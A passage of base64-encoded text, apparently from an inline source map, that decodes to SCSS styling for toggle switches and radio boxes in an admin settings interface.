5vbmU7XG4gICAgICB1c2VyLXNlbGVjdDogbm9uZTtcbiAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgyMnB4KSAwIHNldHRpbmdzLW1peGlucy5yZW0oMThweCk7XG4gICAgICBoZWlnaHQ6IDMuMzNyZW07XG4gICAgICB3aWR0aDogZml0LWNvbnRlbnQ7XG4gICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgICAvL2hlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgICAgIH1cbiAgICAgIC8vQGV4dGVuZCAlc2xuLWJpZy1ib3JkZXItLW9uaG92ZXI7XG4gICAgICAvLyY6bnRoLWNoaWxkKDIpIHtcbiAgICAgIC8vXHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICAgICAgLy99XG4gICAgICAmOmJlZm9yZSxcbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgY29udGVudDogJyc7XG4gICAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgICBncmlkLXJvdzogMTtcbiAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuMTVzO1xuICAgICAgfVxuICAgICAgJjpiZWZvcmUge1xuICAgICAgICB3aWR0aDogNHJlbTtcbiAgICAgICAgaGVpZ2h0OiAycmVtO1xuICAgICAgICBiYWNrZmFjZS12aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgIGJvcmRlci1yYWRpdXM6IDJyZW07XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tZ3JleS0tbGlnaHQoMSk7XG4gICAgICAgIC8vYm9yZGVyOiBzZXR0aW5ncy1taXhpbnMucmVtKDhweCkgc29saWQgJGNsX21haW4tLWxpZ2h0O1xuICAgICAgfVxuICAgICAgJjphZnRlciB7XG4gICAgICAgIHdpZHRoOiAxLjI1cmVtO1xuICAgICAgICBoZWlnaHQ6IDEuMjVyZW07XG4gICAgICAgIG1hcmdpbi1sZWZ0OiAwLjM3NXJlbTtcbiAgICAgICAgYm9yZGVyLXJhZGl1czogNTAlO1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG4gICAgICAgIGJvcmRlcjogNHB4IHNvbGlkIGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbGlnaHRlc3QoMSk7XG4gICAgICAgIGJhY2tmYWNlLXZpc2liaWxpdHk6IGhpZGRlbjtcbiAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgIH1cbiAgICAgIC5zbG4tc3dpdGNoLS1vbl9fdGV4dCB7XG4gICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICB9XG4gICAgICAuc2xuLXN3aXRjaC0tb2ZmX190ZXh0IHtcbiAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICB9XG4gICAgICAmLnNsbi1zd2l0Y2gtLW9uX19sYWJlbCB7XG4gICAgICAgIC5zbG4tc3dpdGNoLS1vbl9fdGV4dCB7XG4gICAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgIH1cbiAgICAgICAgLnNsbi1zd2l0Y2gtLW9mZl9fdGV4dCB7XG4gICAgICAgICAgZGlzcGxheTogbm9uZTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICAgIH1cbiAgICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJHNsbi1jb2xvci0tZW1waGFzaXM7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgICAmOmFjdGl2ZSB7XG4gICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjEpO1xuICAgICAgICB9XG4gICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4yKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgc3BhbiB7XG4gICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgY29udGVudDogYXR0cihkYXRhLW9mZik7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgaW5wdXQ6Y2hlY2tlZCArIGxhYmVsIHtcbiAgICAgIC8vYmFja2dyb3VuZC1jb2xvcjogJGNsX21haW4tLWxpZ2h0O1xuICAgICAgc3BhbiB7XG4gICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgY29udGVudDogYXR0cihkYXRhLW9uKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgLy8mOjpiZWZvcmUsXG4gICAgICAvLyY6aG92ZXI6OmJlZm9yZSB7XG4gICAgICAvL1x0YmFja2dyb3VuZC1jb2xvcjogJGNsX21haW4tLWxpZ2h0O1xuICAgICAgLy99XG4gICAgICAmOmFmdGVyLFxuICAgICAgJjpob3Zlcjo6YWZ0ZXIge1xuICAgICAgICAvL2p1c3RpZnktc2VsZjogZmxleC1lbmQ7XG4gICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWCgycmVtKTtcbiAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuICAgICAgfVxuICAgICAgJjphY3RpdmUge1xuICAgICAgICAmOmFmdGVyIHtcbiAgICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMikgdHJhbnNsYXRlWCgycmVtKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi1zd2l0Y2gtLXNlZ21lbnRlZCB7XG4gICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgIGlucHV0ICsgbGFiZWwge1xuICAgICAgICBncmlkLXRlbXBsYXRlOiBhdXRvIC8gM3JlbSAzcmVtO1xuICAgICAgICBnYXA6IDA7XG4gICAgICAgIHBhZGRpbmc6IDA7XG4gICAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgICAgICAmOmJlZm9yZSxcbiAgICAgICAgJjphZnRlciB7XG4gICAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgICAgd2lkdGg6IDNyZW07XG4gICAgICAgICAgaGVpZ2h0OiAyLjVyZW07XG4gICAgICAgICAgY29udGVudDogJyc7XG4gICAgICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICAgICAgZ3JpZC1yb3c6IDE7XG4gICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgICAgICBiYWNrZ3JvdW5kLXNpemU6IDEuNXJlbTtcbiAgICAgICAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgICAgICAgIGJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjtcbiAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4xNXM7XG4gICAgICAgIH1cbiAgICAgICAgJjpiZWZvcmUge1xuICAgICAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgICAgIGJhY2tmYWNlLXZpc2liaWxpdHk6IGhpZGRlbjtcbiAgICAgICAgICBib3JkZXItcmFkaXVzOiAwLjVyZW0gMCAwIDAuNXJlbTtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICBwb2ludGVyLWV2ZW50czogYXV0bztcbiAgICAgICAgICBAaW5jbHVkZSBpY29ucy1kYXRhdXJpLnNsbi1pY29udXJpLS1saXN0X3RhYnMoXG4gICAgICAgICAgICB0YWJzLFxuICAgICAgICAgICAgJyN7Y29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpfSdcbiAgICAgICAgICApO1xuICAgICAgICB9XG4gICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgIGdyaWQtY29sdW1uOiAyO1xuICAgICAgICAgIG1hcmdpbi1sZWZ0OiAwO1xuICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDAgMC41cmVtIDAuNXJlbSAwO1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tbGlnaHQoMSk7XG4gICAgICAgICAgYmFja2ZhY2UtdmlzaWJpbGl0eTogaGlkZGVuO1xuICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgQGluY2x1ZGUgaWNvbnMtZGF0YXVyaS5zbG4taWNvbnVyaS0tbGlzdF90YWJzKFxuICAgICAgICAgICAgbGlzdCxcbiAgICAgICAgICAgICcje2NvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKX0nXG4gICAgICAgICAgKTtcbiAgICAgICAgfVxuXG4gICAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgIC8vICY6OmJlZm9yZSB7XG4gICAgICAgICAgICAvLyBcdGJhY2tncm91bmQtY29sb3I6ICRjbF9tYWluLS1saWdodDtcbiAgICAgICAgICAgIC8vIH1cbiAgICAgICAgICAgIC8vICY6OmFmdGVyIHtcbiAgICAgICAgICAgIC8vIFx0YmFja2dyb3VuZC1jb2xvcjogJHNsbi1jb2xvci0tZW1waGFzaXM7XG4gICAgICAgICAgICAvLyB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgICBpbnB1dDpjaGVja2VkICsgbGFiZWwge1xuICAgICAgICAvL2JhY2tncm91bmQtY29sb3I6ICRjbF9tYWluLS1saWdodDtcbiAgICAgICAgc3BhbiB7XG4gICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgIGNvbnRlbnQ6IGF0dHIoZGF0YS1vbik7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgICY6OmJlZm9yZSxcbiAgICAgICAgJjpob3Zlcjo6YmVmb3JlIHtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4tLWxpZ2h0KDEpO1xuICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgICAgICB9XG4gICAgICAgICY6YWZ0ZXIsXG4gICAgICAgICY6aG92ZXI6OmFmdGVyIHtcbiAgICAgICAgICAvL2p1c3RpZnktc2VsZjogZmxleC1lbmQ7XG4gICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKDApO1xuICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICAgcG9pbnRlci1ldmVudHM6IGF1dG87XG4gICAgICAgIH1cbiAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxKSB0cmFuc2xhdGVYKDApO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi1zd2l0Y2gtLWJhcmUsXG4gICAgJi5zbG4tc3dpdGNoLS1iYXJlLnNsbi1zd2l0Y2gtLWludmVydGVkIHtcbiAgICAgIGdyaWQtdGVtcGxhdGU6IGF1dG8gLyAxZnI7XG4gICAgICBsYWJlbCB7XG4gICAgICAgIGZvbnQtc2l6ZTogMXJlbTtcbiAgICAgICAgZ3JpZC1yb3c6IDE7XG4gICAgICB9XG4gICAgICBpbnB1dCArIGxhYmVsIHtcbiAgICAgICAgd2lkdGg6IGF1dG87XG4gICAgICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgICAgICAgcGFkZGluZzogMDtcbiAgICAgICAgYm9yZGVyLWJvdHRvbTogbm9uZTtcbiAgICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnIgNHJlbTtcbiAgICAgICAgcGFkZGluZy1sZWZ0OiAxcmVtO1xuICAgICAgICBzcGFuIHtcbiAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodDtcbiAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDlweCk7XG4gICAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgICAgcGFkZGluZzogMCA5cHggMCAwO1xuICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjE1cztcbiAgICAgICAgfVxuICAgICAgICAvLyY6Zm9jdXMsXG4gICAgICAgIC8vJjphY3RpdmUge1xuICAgICAgICAvL1x0c3BhbiB7XG4gICAgICAgIC8vXHRcdHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KTtcbiAgICAgICAgLy9cdFx0dHJhbnNmb3JtOiBzY2FsZSgxLjIpO1xuICAgICAgICAvL1x0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjFweCk7XG4gICAgICAgIC8vXHR9XG4gICAgICAgIC8vfVxuICAgICAgICAvL0BtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgIC8vXHQmOmhvdmVyIHtcbiAgICAgICAgLy9cdFx0c3BhbiB7XG4gICAgICAgIC8vXHRcdFx0cGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuICAgICAgICAvL1x0XHRcdHRyYW5zZm9ybTogc2NhbGUoMS4yKTtcbiAgICAgICAgLy9cdFx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjFweCk7XG4gICAgICAgIC8vXHRcdH1cbiAgICAgICAgLy9cdH1cbiAgICAgICAgLy99XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLXN3aXRjaC0tYmFyZSB7XG4gICAgICBpbnB1dCArIGxhYmVsIHtcbiAgICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiA0cmVtIDFmcjtcbiAgICAgIH1cbiAgICB9XG4gICAgJi5zbG4tc3dpdGNoLS1pbnZlcnRlZCB7XG4gICAgICBzcGFuIHtcbiAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgZGlzcGxheTogaW5saW5lO1xuICAgICAgICAgIGNvbnRlbnQ6IGF0dHIoZGF0YS1vbik7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlucHV0ICsgbGFiZWwge1xuICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgIG91dGxpbmU6IG5vbmU7XG4gICAgICAgIHVzZXItc2VsZWN0OiBub25lO1xuICAgICAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMThweCk7XG4gICAgICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg4MHB4KTtcbiAgICAgICAgZGlzcGxheTogZ3JpZDtcbiAgICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiBhdXRvIHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG4gICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgICAgIC8vaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuICAgICAgICB9XG4gICAgICAgIC8vQGV4dGVuZCAlc2xuLWJpZy1ib3JkZXItLW9uaG92ZXI7XG4gICAgICAgICY6bnRoLWNoaWxkKDIpIHtcbiAgICAgICAgICBtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICAgICAgICB9XG4gICAgICAgICY6YmVmb3JlLFxuICAgICAgICAmOmFmdGVyIHtcbiAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgICBjb250ZW50OiAnJztcbiAgICAgICAgICBncmlkLWNvbHVtbjogMjtcbiAgICAgICAgICBncmlkLXJvdzogMTtcbiAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4xNXM7XG4gICAgICAgIH1cbiAgICAgICAgJjpiZWZvcmUge1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgICAgLy9ib3JkZXI6IHNldHRpbmdzLW1peGlucy5yZW0oOHB4KSBzb2xpZCAkY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgIH1cbiAgICAgICAgJjphZnRlciB7XG4gICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKDEuMnJlbSk7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgICB9XG4gICAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJHNsbi1jb2xvci0tZW1waGFzaXM7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgICY6YWN0aXZlIHtcbiAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjEpO1xuICAgICAgICAgIH1cbiAgICAgICAgICAmOmFmdGVyIHtcbiAgICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4yKTtcbiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWCgxLjJyZW0pO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgaW5wdXQ6Y2hlY2tlZCArIGxhYmVsIHtcbiAgICAgICAgLy9iYWNrZ3JvdW5kLWNvbG9yOiAkY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgIHNwYW4ge1xuICAgICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICBjb250ZW50OiBhdHRyKGRhdGEtb2ZmKTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2dyZXk7XG4gICAgICAgIH1cbiAgICAgICAgJjphZnRlciB7XG4gICAgICAgICAgLy9qdXN0aWZ5LXNlbGY6IGZsZXgtZW5kO1xuICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWCgwKTtcbiAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgIH1cblxuICAgICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRzbG4tY29sb3ItLWVtcGhhc2lzO1xuICAgICAgICAgICAgfVxuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICAmOmFjdGl2ZSB7XG4gICAgICAgICAgJjphZnRlciB7XG4gICAgICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMikgdHJhbnNsYXRlWCgwKTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgJi5zbG4tc3dpdGNoLS1udSB7XG4gICAgICBtYXJnaW4tYm90dG9tOiAwO1xuICAgICAgLnNsbi1mYWtlLWxhYmVsIHtcbiAgICAgICAgZm9udC1zaXplOiAxcmVtO1xuICAgICAgfVxuICAgICAgJjpoYXMoLnNsbi1mYWtlLWxhYmVsKSB7XG4gICAgICAgIGlucHV0ICsgbGFiZWwge1xuICAgICAgICAgIGdhcDogMDtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgaW5wdXQgKyBsYWJlbCB7XG4gICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgaGVpZ2h0OiAxLjc1cmVtO1xuICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDk5OTlweDtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfYmctLW1haW4tLWxpZ2h0O1xuICAgICAgICB9XG4gICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICB3aWR0aDogMi41cmVtO1xuICAgICAgICAgIGhlaWdodDogMS41cmVtO1xuICAgICAgICAgIG1hcmdpbi1sZWZ0OiAwLjEyNXJlbTtcbiAgICAgICAgICBib3JkZXI6IG5vbmU7XG4gICAgICAgICAgYm9yZGVyLXJhZGl1czogOTk5OXB4O1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgIH1cbiAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW4tLWwxO1xuICAgICAgICAgICAgfVxuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgaW5wdXQ6Y2hlY2tlZCArIGxhYmVsIHtcbiAgICAgICAgJjo6YmVmb3JlLFxuICAgICAgICAmOmhvdmVyOjpiZWZvcmUge1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluO1xuICAgICAgICB9XG4gICAgICAgICY6OmFmdGVyLFxuICAgICAgICAmOmhvdmVyOjphZnRlciB7XG4gICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKDEuMjVyZW0pO1xuICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgfVxuICAgICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbi0tbDE7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLXN3aXRjaC0tbnUtLWZsZXgge1xuICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICBnYXA6IDFyZW07XG4gICAgfVxuICB9XG4gIC5zbG4tYWRtaW5fX3RhYnBhbmVsIC5zbG4tc3dpdGNoIHtcbiAgICBtYXJnaW4tYm90dG9tOiAwO1xuICB9XG4gIC5zbG4tcmFkaW9ib3gge1xuICAgIGxhYmVsIHtcbiAgICAgIEBleHRlbmQgJXNsbi1pbnB1dC1sYWJlbC0tYmlnO1xuICAgIH1cbiAgICBAZXh0ZW5kICVzbG4taW5wdXQtaGVscDtcbiAgICBtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAgIGlucHV0IHtcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIG1hcmdpbi1sZWZ0OiAtOTk5OXB4O1xuICAgICAgdmlzaWJpbGl0eTogaGlkZGVuO1xuICAgIH1cbiAgICAvL2xhYmVsIHtcbiAgICAvL1x0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuICAgIC8vfVxuICAgIGlucHV0ICsgbGFiZWwge1xuICAgICAgZGlzcGxheTogZ3JpZDtcbiAgICAgIHdpZHRoOiBmaXQtY29udGVudDtcbiAgICAgIGhlaWdodDogYXV0bztcbiAgICAgIG1pbi13aWR0aDogMTZyZW07XG4gICAgICBtaW4taGVpZ2h0OiAzLjMzcmVtO1xuICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxLjVyZW0gYXV0bztcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICBnYXA6IDFyZW07XG4gICAgICBwYWRkaW5nOiAwLjVyZW0gMXJlbTtcbiAgICAgIGxpbmUtaGVpZ2h0OiAxLjQ7XG4gICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICBvdXRsaW5lOiBub25lO1xuICAgICAgdXNlci1zZWxlY3Q6IG5vbmU7XG4gICAgICBib3JkZXI6IDJweCBzb2xpZCBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4tLWxpZ2h0KDApO1xuICAgICAgYm9yZGVyLXJhZGl1czogNXB4O1xuICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgICAgLy9oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG4gICAgICB9XG4gICAgICAvL0BleHRlbmQgJXNsbi1iaWctYm9yZGVyLS1vbmhvdmVyO1xuICAgICAgLy8mOm50aC1jaGlsZCgyKSB7XG4gICAgICAvL1x0bWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbiAgICAgIC8vfVxuICAgICAgJjo6YmVmb3JlLFxuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgY29udGVudDogJyc7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgICB3aWR0aDogMS41cmVtO1xuICAgICAgICBoZWlnaHQ6IDEuNXJlbTtcbiAgICAgICAgYm9yZGVyLXJhZGl1czogNTAlO1xuICAgICAgICBncmlkLWNvbHVtbjogMTtcbiAgICAgICAgZ3JpZC1yb3c6IDE7XG4gICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjE1cztcbiAgICAgIH1cbiAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICBiYWNrZmFjZS12aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgIGJvcmRlcjogMnB4IHNvbGlkO1xuICAgICAgICBib3JkZXItY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZ3JleTtcbiAgICAgIH1cbiAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmVkO1xuICAgICAgICBiYWNrZ